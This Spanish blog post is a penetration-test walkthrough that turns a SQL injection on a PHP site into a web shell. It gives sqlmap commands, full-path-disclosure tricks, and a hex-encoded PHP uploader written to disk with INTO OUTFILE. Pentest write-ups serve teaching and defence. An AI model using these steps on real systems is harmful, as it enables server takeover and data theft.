Hace algunos días auditando un Servidor Web (universidad) basada en
Apache 1.3.26, PHP 4.2.1 a un cliente, me tope con la típica
vulnerabilidad de Inyección de Código Sql, la cual permite fácilmente
obtener toda la base de datos del servidor, entonces de inmediato empece
a inyectar manualmente pero para mi suerte!!! ninguna de las
inyecciones y bypasses dio resultado, entonces me pregunte ¿Por que? si
es una vulnerabilidad peligrosa y fácilmente explotable, pero luego
analizando nuevamente di con el resultado que era un simple FP (falso
positivo).
Después de terminar el nuevo análisis encontré otra vulnerabilidad de Inyección de Código Sql, mostrándome el famoso error:
----------------------------------------------------------------------------------
You have an error in your SQL syntax near '' order by gal_id desc limit 5' at line 1
----------------------------------------------------------------------------------
Entonces basándome en el resultado anterior del FP, decidí utilizar la
famosa herramienta SQLMap para comprobar si realmente el sitio era
vulnerable a esta inyección para ello use el comando mas simple pero
muchas veces eficiente que cuenta SQLMap:
- ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --dbs
Pero para mi mayor suerte! la herramienta devolvió el siguiente resultado:
A partir de ese error empece a preocuparme! pues el cliente necesitaba
el trabajo lo mas antes posible, pero como para mi no hay nada imposible
(sin presumir), opte por utilizar las técnicas y comandos mas
avanzados que cuenta SQLMap, pero antes de eso tenia que comprobar si el
usuario que estaba inyectando era user o root, para ello utilice el
siguiente comando:
- ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --current-user
Obteniendo el siguiente resultado:
Al apreciar el resultado como "none" deduje que el usuario era "root"
entonces en lo primero que pensé fue en subir una web shell desde
SQLMap, pero antes de realizar ese paso, tenia que obtener un Full Path Disclosure pero ¿Para que necesito un FPD?
muy facil, al momento que necesitemos subir una web shell desde SQLMap,
esta nos pedirá que coloquemos el PATH completo del servidor, caso
contrario esta no dará resultado.
Ejemplos de obtener un Full Path Disclosure mediante Sql Injection:
- http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep Veremos un Sql Injection
- http://www.sitio-web.com/parametro-vulnerable?txt_palabra=[]isep Veremos un Full Path Disclosure
- http://www.sitio-web.com/parametro-vulnerable?txt_palabra=huey Veremos un Full Path Disclosure
- http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep! Veremos un Full Path Disclosure
- http://www.sitio-web.com/parametro-vulnerable?txt_palabra='isep' Veremos un Full Path Disclosure
Otro método que también funciona para obtener un FPD es cambiando las cookies, por ejemplo si tenemos nuestras cookies PHPSESSID=13882931834931984318 simplemente queda borrar los números quedando solamente el PHPSESSID= esto se puede realizar utilizando el Addon Live HTTP Headers
Después de realizar estos pasos para obtener un Full Path Disclosure, el
resultado fue exitoso, mostrándome el siguiente mensaje:
----------------------------------------------------------------------------------
Warning:
mysql_num_rows(): supplied argument is not a valid MySQL result
resource in
/espejo/htdocs.v2/portalnuevo/buscadores/portal_contenidos.php on line
79
----------------------------------------------------------------------------------
Conociendo el path completo del servidor, solo me faltaba buscar el
código php de un upload para convertirlo en HEX e inyectarlo en el
SQLMap. Seguidamente tenia que convertir el siguiente código a HEX:
----------------------------------------------------------------------------------
----------------------------------------------------------------------------------
Ahora entre al sitio web http://www.string-functions.com/string-hex.aspx
y coloque el código del upload para convertirlo a HEX, dando como
resultado lo siguiente:
----------------------------------------------------------------------------------
3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
----------------------------------------------------------------------------------
Realizado todo lo anterior, entre nuevamente a SQLMap y coloque el
siguiente comando para moverme por el servidor mediante comandos SQL.
- ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --sql-shell
Ahora como ya tenia el control del servidor mediante comandos SQL, tenia que inyectar con SELECT + 0x + Codigo HEX + INTO OUTFILE + Full Path + Nombre del Upload, quedando la inyección de la siguiente manera:
----------------------------------------------------------------------------------
select
0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
into "/espejo/htdocs.v2/portalnuevo/buscadores/upload.php";
----------------------------------------------------------------------------------
En la cual SQLMap devuelve el siguiente resultado, indicando que el
upload subió perfectamente sin problema alguno, como se muestra en la
siguiente imagen:
Ahora solo me quedaba abrir mi navegador y dirigirme a la ruta en la cual subí el upload.php la cual fue totalmente un éxito.
Bien ahora como ya tenia el upload.php y mi objetivo era obtener el
control total del servidor, subi una web shell la cual se ejecuto
perfectamente.
----------------------------------------------------------------------------------
Como ya es de conocimiento SQLMap contiene una series de comandos que
nos ayuda mucho al momento que estamos realizando una auditoria, pues
también ofrece un comando para subir una web shell de una forma mas
rápida a la forma de dicha herramienta.
El comando --os-shell en SQLMap permitirá subir un uploader (sqlmap file
uploader) algo parecido a lo anterior pero al estilo SQLMap :)
Para realizar este paso utilizando dicho comando, teclearemos en la herramienta lo siguiente:
- ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --os-shell
La herramienta nos preguntara en que lenguaje de programación esta
basada el sitio web, en este caso el sitio web que ando auditando esta
en PHP, por lo que sqlmap lo enumera como (default) tal cual se muestra
en la siguiente imagen:
Después de colocar el numero por default o simplemente presionando
enter, la herramienta nos pedirá que coloquemos el path completo del
servidor la cual hemos obtenido mediante un Full Path Disclosure,
después de ello, confirmaremos dicho path para que la herramienta trate
de subir el uplader en el servidor.
Seguidamente si hemos colocado el path correctamente, obtendremos el
uploader en el servidor, esta se nombra muchas veces como tmpjdjsk.php.
Ahora para confirmar y visualizar el uploader que subió la herramienta,
abriremos la URL que la misma nos proporciono, apreciando-la de la
siguiente manera:
Desde allí podemos subir nuestra web shell o cualquier archivo que nos gustaría tener dentro del servidor web.
Después que la herramienta ha realizado todo lo anterior, nos deja una
session del os-shell para movernos por el servidor mediante comandos
como ls - dir - cat u otros. Esto se puede ya que en si es un backdoor
que SQLMap ha subido al servidor.
Ejemplo del comando cat /etc/passwd:
Ejemplo del comando uname -a y ls:
Y por ultimo la web que hemos auditado ha quedado totalmente vulnerado.
Bueno, esto fue lo que me paso hace algunos dias, lo escribo no tal solo
por aburrirlos, si no para que quiza alguno de ustedes lo ponga en
practica en sus Pruebas de Penetración.
Espero les sirva, un saludo y hasta la próxima ;)
Escritor https://twitter.com/CalebDrugs
Fuente: http://www.blackploit.com/2013/01/conseguir-shell-desde-un-sqli-con-sqlmap.html
No hay comentarios:
Publicar un comentario